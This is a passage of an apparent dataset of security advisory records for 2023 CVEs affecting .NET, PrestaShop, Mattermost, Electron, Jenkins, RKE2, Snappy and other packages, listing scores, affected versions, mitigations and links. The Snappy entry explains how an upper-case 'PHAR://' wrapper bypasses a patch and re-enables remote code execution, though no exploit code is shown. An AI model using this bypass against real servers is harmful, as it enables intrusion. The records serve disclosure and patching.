The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
### External Links
[CVE-2023-36792]( https://www.cve.org/CVERecord?id=CVE-2023-36792)
### Revisions
V1.0 (September 12, 2023): Advisory published.
_Version 1.0_
_Last Updated 2023-09-12_
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'NuGet', 'name': 'Microsoft.NETCore.App.Runtime.win-arm64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.0.0'}, {'fixed': '7.0.11'}]}], 'database_specific': {'last_known_affected_version_range': '<= 7.0.10'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Microsoft.NETCore.App.Runtime.win-arm64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '6.0.0'}, {'fixed': '6.0.22'}]}], 'database_specific': {'last_known_affected_version_range': '<= 6.0.21'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Microsoft.NETCore.App.Runtime.win-x64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.0.0'}, {'fixed': '7.0.11'}]}], 'database_specific': {'last_known_affected_version_range': '<= 7.0.10'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Microsoft.NETCore.App.Runtime.win-x64'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '6.0.0'}, {'fixed': '6.0.22'}]}], 'database_specific': {'last_known_affected_version_range': '<= 6.0.21'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Microsoft.NETCore.App.Runtime.win-x86'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '6.0.0'}, {'fixed': '6.0.22'}]}], 'database_specific': {'last_known_affected_version_range': '<= 6.0.21'}}, {'package': {'ecosystem': 'NuGet', 'name': 'Microsoft.NETCore.App.Runtime.win-x86'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.0.0'}, {'fixed': '7.0.11'}]}], 'database_specific': {'last_known_affected_version_range': '<= 7.0.10'}}]
|
[{'type': 'WEB', 'url': 'https://github.com/dotnet/runtime/security/advisories/GHSA-3qf9-qxfj-4whc'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-36792'}, {'type': 'WEB', 'url': 'https://github.com/dotnet/runtime/issues/91944'}, {'type': 'PACKAGE', 'url': 'https://github.com/dotnet/runtime'}, {'type': 'WEB', 'url': 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36792'}]
|
{'cwe_ids': [], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-12T20:51:36Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-gvrg-62jp-rf7j
|
2023-09-28T19:43:48Z
|
2023-09-28T16:26:48Z
| null |
['CVE-2023-43664']
|
PrestaShop allows employee without any access rights to list all installed modules
|
### Impact
In BO, an employee can list all modules without any access rights: method `ajaxProcessGetPossibleHookingListForModule` doesn't check access rights
### Patches
Fixed on 8.1.2
### Workarounds
### References
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'prestashop/prestashop'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '8.1.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-gvrg-62jp-rf7j'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43664'}, {'type': 'WEB', 'url': 'https://github.com/PrestaShop/PrestaShop/commit/15bd281c18f032a5134a8d213b44d24829d45762'}, {'type': 'PACKAGE', 'url': 'https://github.com/PrestaShop/PrestaShop'}]
|
{'cwe_ids': ['CWE-269'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-28T16:26:48Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-ppjh-xp5v-46wc
|
2023-09-22T19:40:39Z
|
2023-09-20T06:30:50Z
| null |
['CVE-2023-43619']
|
Croc sender may send dangerous new files to receiver
|
An issue was discovered in Croc through 9.6.5. A sender may send dangerous new files to a receiver, such as executable content or a `.ssh/authorized_keys` file.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/schollz/croc/v9'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '9.6.5'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43619'}, {'type': 'WEB', 'url': 'https://github.com/schollz/croc/issues/593'}, {'type': 'PACKAGE', 'url': 'https://github.com/schollz/croc'}, {'type': 'WEB', 'url': 'https://www.openwall.com/lists/oss-security/2023/09/08/2'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2023/09/21/5'}]
|
{'cwe_ids': [], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T16:59:57Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-9hwp-cj7m-wjw4
|
2023-09-29T22:05:52Z
|
2023-09-29T12:30:16Z
| null |
['CVE-2023-5195']
|
Mattermost Incorrect Authorization vulnerability
|
Mattermost fails to properly validate the permissions when soft deleting a team allowing a team member to soft delete other teams that they are not part of
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost/server/v8'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.1.0'}, {'fixed': '8.1.1'}]}], 'versions': ['8.1.0']}, {'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost/server/v8'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.0.0'}, {'fixed': '8.0.2'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost-server/v6'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '7.8.10'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-5195'}, {'type': 'PACKAGE', 'url': 'https://github.com/mattermost/mattermost'}, {'type': 'WEB', 'url': 'https://mattermost.com/security-updates'}]
|
{'cwe_ids': ['CWE-863'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-29T22:05:52Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-6f9p-g466-f8v8
|
2023-09-22T18:48:49Z
|
2023-09-19T06:30:17Z
| null |
['CVE-2023-26143']
|
blamer vulnerable to Arbitrary Argument Injection via the blameByFile() API
|
Versions of the package blamer before 1.0.4 are vulnerable to Arbitrary Argument Injection via the blameByFile() API. The library does not sanitize for user input or validate the given file path conforms to a specific schema, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'blamer'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.4'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-26143'}, {'type': 'WEB', 'url': 'https://github.com/kucherenko/blamer/commit/0965877f115753371a2570f10a63c455d2b2cde3'}, {'type': 'WEB', 'url': 'https://gist.github.com/lirantal/14c3686370a86461f555d3f0703e02f9'}, {'type': 'PACKAGE', 'url': 'https://github.com/kucherenko/blamer'}, {'type': 'WEB', 'url': 'https://security.snyk.io/vuln/SNYK-JS-BLAMER-5731318'}]
|
{'cwe_ids': ['CWE-88'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:07:40Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-gxh7-wv9q-fwfr
|
2023-09-06T18:42:17Z
|
2023-09-06T18:42:17Z
| null |
['CVE-2023-23623']
|
Electron's Content-Secrity-Policy disabling eval not applied consistently in renderers with sandbox disabled
|
### Impact
A Content-Security-Policy that disables eval, specifically setting a `script-src` directive and _not_ providing `unsafe-eval` in that directive, is not respected in renderers that have sandbox and contextIsolation disabled. i.e. `sandbox: false` and `contextIsolation: false` in the `webPreferences` object.
This resulted in incorrectly allowing usage of methods like `eval()` and `new Function`, which can result in an expanded attack surface.
### Patches
This issue only ever affected the 22 and 23 major versions of Electron and has been fixed in the latest versions of those release lines. Specifically, these versions contain the fixes:
- 22.0.1
- 23.0.0-alpha.2
We recommend all apps upgrade to the latest stable version of Electron, especially if they use `sandbox: false` or `contextIsolation: false`.
### Workarounds
If upgrading isn't possible, this issue can be addressed without upgrading by enabling at least one of `sandbox: true` or `contextIsolation: true` on all renderers.
```js
const mainWindow = new BrowserWindow({
webPreferences: {
sandbox: true,
}
});
```
### For more information
If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org).
### Credit
Thanks to user @andreasdj for reporting this issue.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'electron'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '22.0.0-beta.1'}, {'fixed': '22.0.1'}]}]}, {'package': {'ecosystem': 'npm', 'name': 'electron'}, 'ecosystem_specific': {'affected_functions': ['https://github.com/electron/electron/commit/9e7fbc7021d8d716c43782249a552e55289c35db']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '23.0.0-alpha.1'}, {'fixed': '23.0.0-alpha.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/electron/electron/security/advisories/GHSA-gxh7-wv9q-fwfr'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-23623'}, {'type': 'WEB', 'url': 'https://github.com/electron/electron/pull/36667'}, {'type': 'WEB', 'url': 'https://github.com/electron/electron/pull/36668'}, {'type': 'WEB', 'url': 'https://github.com/electron/electron/commit/9e7fbc7021d8d716c43782249a552e55289c35db'}, {'type': 'PACKAGE', 'url': 'https://github.com/electron/electron'}, {'type': 'WEB', 'url': 'https://github.com/electron/electron/releases/tag/v22.0.1'}]
|
{'cwe_ids': ['CWE-670'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-06T18:42:17Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-xrpm-hccg-28x7
|
2023-09-22T19:35:43Z
|
2023-09-21T09:30:19Z
| null |
['CVE-2023-5104']
|
Improper Input Validation in nocodb
|
Improper Input Validation in GitHub repository nocodb/nocodb prior to 0.96.0.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'nocodb'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.96.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-5104'}, {'type': 'WEB', 'url': 'https://github.com/nocodb/nocodb/commit/db0385cb8aab2a34e233454607f59152ac62b3e2'}, {'type': 'PACKAGE', 'url': 'https://github.com/nocodb/nocodb'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/1b5c6d9f-941e-4dd7-a964-42b53d6826b0'}]
|
{'cwe_ids': ['CWE-20'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:17:16Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-v8gr-m533-ghj9
|
2023-09-21T17:07:01Z
|
2023-09-21T17:07:01Z
| null |
[]
|
Vulnerable OpenSSL included in cryptography wheels
|
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
[]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'cryptography'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5'}, {'fixed': '41.0.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/pyca/cryptography/security/advisories/GHSA-v8gr-m533-ghj9'}, {'type': 'WEB', 'url': 'https://github.com/pyca/cryptography/commit/fc11bce6930e591ce26a2317b31b9ce2b3e25512'}, {'type': 'PACKAGE', 'url': 'https://github.com/pyca/cryptography'}]
|
{'cwe_ids': [], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:07:01Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-9jvx-p6mq-fw4v
|
2023-09-29T20:38:11Z
|
2023-09-29T06:30:29Z
| null |
['CVE-2023-44464']
|
pretix allows Pillow to parse EPS files
|
pretix before 2023.7.2 allows Pillow to parse EPS files.
|
[]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'pretix'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2023.7.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-44464'}, {'type': 'WEB', 'url': 'https://github.com/pretix/pretix/commit/8583bfb7d97263e9e923ad5d7f123ca1cadc8f2e'}, {'type': 'PACKAGE', 'url': 'https://github.com/pretix/pretix'}, {'type': 'WEB', 'url': 'https://github.com/pretix/pretix/compare/v2023.7.1...v2023.7.2'}, {'type': 'WEB', 'url': 'https://github.com/pretix/pretix/tags'}, {'type': 'WEB', 'url': 'https://pretix.eu/about/en/ticketing'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-29T20:38:11Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-ghp8-52vx-77j4
|
2023-09-22T20:35:36Z
|
2023-09-22T15:30:15Z
| null |
['CVE-2023-5002']
|
pgAdmin failed to properly control the server code
|
A flaw was found in pgAdmin. This issue occurs when the pgAdmin server HTTP API validates the path a user selects to external PostgreSQL utilities such as pg_dump and pg_restore. Versions of pgAdmin prior to 7.7 failed to properly control the server code executed on this API, allowing an authenticated user to run arbitrary commands on the server.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'pgadmin4'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '7.7'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-5002'}, {'type': 'WEB', 'url': 'https://github.com/pgadmin-org/pgadmin4/issues/6763'}, {'type': 'WEB', 'url': 'https://github.com/pgadmin-org/pgadmin4/commit/35f05e49b3632a0a674b9b36535a7fe2d93dd0c2'}, {'type': 'WEB', 'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=2239164'}, {'type': 'PACKAGE', 'url': 'https://github.com/pgadmin-org/pgadmin4'}]
|
{'cwe_ids': [], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-22T20:35:36Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-gx6r-qc2v-3p3v
|
2023-09-21T17:15:53Z
|
2023-09-21T17:15:53Z
| null |
['CVE-2023-42810']
|
systeminformation SSID Command Injection Vulnerability
|
### Impact
SSID Command Injection Vulnerability
### Patches
Problem was fixed with a parameter check. Please upgrade to version >= 5.21.7, Version 4 was not affected
### Workarounds
If you cannot upgrade, be sure to check or sanitize parameter strings that are passed to wifiConnections(), wifiNetworks() (string only)
### References
See also https://systeminformation.io/security.html
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'systeminformation'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.0.0'}, {'fixed': '5.21.7'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-gx6r-qc2v-3p3v'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-42810'}, {'type': 'WEB', 'url': 'https://github.com/sebhildebrandt/systeminformation/commit/7972565812ccb2a610a22911c54c3446f4171392'}, {'type': 'PACKAGE', 'url': 'https://github.com/sebhildebrandt/systeminformation'}, {'type': 'WEB', 'url': 'https://systeminformation.io/security.html'}]
|
{'cwe_ids': ['CWE-77'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T17:15:53Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-hq87-h4jg-vxfw
|
2023-09-21T21:37:19Z
|
2023-09-20T18:30:21Z
| null |
['CVE-2023-43498']
|
Jenkins temporary uploaded file created with insecure permissions
|
In Jenkins 2.423 and earlier, LTS 2.414.1 and earlier, uploaded files processed via the Stapler web framework and the Jenkins API `MultipartFormDataParser` create temporary files in the system temporary directory with the default permissions for newly created files.
If these permissions are overly permissive, attackers with access to the system temporary directory may be able to read and write the file before it is used.
This vulnerability only affects operating systems using a shared temporary directory for all users (typically Linux). Additionally, the default permissions for newly created files generally only allow attackers to read the temporary file, but not write to it.
Jenkins 2.424, LTS 2.414.2 creates the temporary files in a subdirectory with more restrictive permissions.
As a workaround, you can change your default temporary-file directory using the Java system property `java.io.tmpdir`, if you’re concerned about this issue but unable to immediately update Jenkins.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.50'}, {'fixed': '2.414.2'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.main:jenkins-core'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.415'}, {'fixed': '2.424'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43498'}, {'type': 'WEB', 'url': 'https://www.jenkins.io/security/advisory/2023-09-20/#SECURITY-3073'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2023/09/20/5'}]
|
{'cwe_ids': [], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-21T21:37:19Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-h69v-mvh9-hfrq
|
2023-09-29T22:05:48Z
|
2023-09-29T12:30:16Z
| null |
['CVE-2023-5194']
|
Mattermost Incorrect Authorization vulnerability
|
Mattermost fails to properly validate permissions when demoting and deactivating a user allowing for a system/user manager to demote / deactivate another manager
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost/server/v8'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.1.0'}, {'fixed': '8.1.1'}]}], 'versions': ['8.1.0']}, {'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost/server/v8'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '8.0.0'}, {'fixed': '8.0.2'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/mattermost/mattermost-server/v6'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '7.8.10'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-5194'}, {'type': 'PACKAGE', 'url': 'https://github.com/mattermost/mattermost'}, {'type': 'WEB', 'url': 'https://mattermost.com/security-updates'}]
|
{'cwe_ids': ['CWE-863'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2023-09-29T22:05:48Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-6jmf-2pfc-q9m7
|
2023-09-28T19:43:45Z
|
2023-09-28T16:27:33Z
| null |
['CVE-2023-43663']
|
PrestaShop allows users to uninstall modules from backoffice, even with low rights
|
### Impact
Any module can be disabled or uninstalled from back office, even with low user right.
### Patches
8.1.2
### Workarounds
none
### References
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'prestashop/prestashop'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '8.1.2'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-6jmf-2pfc-q9m7'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-43663'}, {'type': 'WEB', 'url': 'https://github.com/PrestaShop/PrestaShop/commit/ce1f67083537194e974caf86c57e547a0aaa46cd'}, {'type': 'PACKAGE', 'url': 'https://github.com/PrestaShop/PrestaShop'}]
|
{'cwe_ids': ['CWE-269'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2023-09-28T16:27:33Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-p45j-vfv5-wprq
|
2023-09-20T21:28:30Z
|
2023-09-11T13:47:16Z
| null |
['CVE-2023-32186']
|
RKE2 supervisor port is vulnerable to unauthenticated remote denial-of-service (DoS) attack via TLS SAN stuffing attack
|
### Impact
An issue was found in RKE2 where an attacker with network access to RKE2 servers' supervisor port (TCP 9345) can force the TLS server to add entries to the certificate's Subject Alternative Name (SAN) list, through a stuffing attack, until the certificate grows so large that it exceeds the maximum size allowed by TLS client implementations. OpenSSL for example will raise an `excessive message size` error when this occurs. No authentication is necessary to perform this attack, only the ability to perform a TLS handshake against the supervisor port (TCP 9345).
Affected servers will continue to operate, but clients (server or agent nodes) will fail to establish new connections when joining or rejoining the cluster, thus leading to a denial of service (DoS) attack.
### Remediation
Upgrade to a fixed release:
- v1.28.1+rke2r1
- v1.27.5+rke2r1
- v1.26.8+rke2r1
- v1.25.13+rke2r1
- 1.24.17+rke2r1
If you are using RKE2 1.27 or earlier, you must also add the parameter `tls-san-security: true` to the RKE2 configuration to enable enhanced security for the supervisor's TLS SAN list. This option defaults to `true` starting with RKE2 1.28.
Note that this flag changes the behavior of RKE2's supervisor listener. You should ensure that you configure `node-external-ip` on servers that will be connected to via an external IP, and add `tls-san` entries for any load-balancers or VIP addresses that will be associated with the supervisor port. External IPs and load-balancer/VIP addresses will no longer be added to the supervisor certificate's SAN list unless explicitly configured.
### Mitigation
If you cannot upgrade to a fixed release, the certificate can be "frozen" by running the following command against the cluster:
```shell
kubectl annotate secret -n kube-system rke2-serving listener.cattle.io/static=true
```
**⚠️ IMPORTANT CAUTION:** Note that this mitigation will prevent the certificate from adding new SAN entries when servers join the cluster, and automatically renewing itself when it is about to expire. If you do this, you should delete the annotation when adding new servers to the cluster, or when the certificate is within 90 days of expiring, so that it can be updated. Once that is done, you can freeze it again.
Affected certificates can be reset by performing the following steps:
* Run `kubectl delete secret -n kube-system rke2-serving`
* Delete `/var/lib/rancher/rke2/server/tls/dynamic-cert.json` from all servers, and restart the `rke2-server` service.
### Background
The RKE2 supervisor listens on port TCP 9345 and uses the `rancher/dynamiclistener` library to dynamically generate TLS certificates that contain TLS Subject Alternative Names (SAN) for any host name or IP address requested by a client. This is done to allow servers and external load-balancers to be added to the cluster without the administrator having to explicitly know and configure in advance a fixed list of endpoints that the supervisor may be hosted at.
The library allows the embedding application to configure a callback that is used to filter addresses requested by clients; but this was not previously implemented in RKE2.
### For more information
If you have any questions or comments about this advisory:
- Reach out to the [SUSE Rancher Security team](https://github.com/rancher/rke2/security/policy) for security related inquiries.
- Open an issue in the [RKE2](https://github.com/rancher/rke2/issues/new/choose) repository.
- Verify with our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/rancher/rke2'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.24.17'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/rancher/rke2'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.25.0'}, {'fixed': '1.25.13'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/rancher/rke2'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.26.0'}, {'fixed': '1.26.8'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/rancher/rke2'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.27.0'}, {'fixed': '1.27.5'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/rancher/rke2'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.28.0'}, {'fixed': '1.28.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/rancher/rke2/security/advisories/GHSA-p45j-vfv5-wprq'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2023-32186'}, {'type': 'WEB', 'url': 'https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-32186'}, {'type': 'PACKAGE', 'url': 'https://github.com/rancher/rke2'}]
|
{'cwe_ids': ['CWE-770'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2023-09-11T13:47:16Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-92rv-4j2h-8mjj
|
2023-09-08T12:17:48Z
|
2023-09-08T12:17:48Z
| null |
['CVE-2023-41330']
|
Snappy PHAR deserialization vulnerability
|
## Issue
On March 17th the vulnerability [CVE-2023-28115 was disclosed](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the `phar://` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the `phar://` string, it can be bypassed to achieve remote code execution again using a different case.
As for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the `phar://` wrapper.
## Technical details
### Description
The following [patch](https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6) was committed on the 1.4.2 release to fix CVE-2023-28115.
If the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.
To fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`.
### Proof of Concept
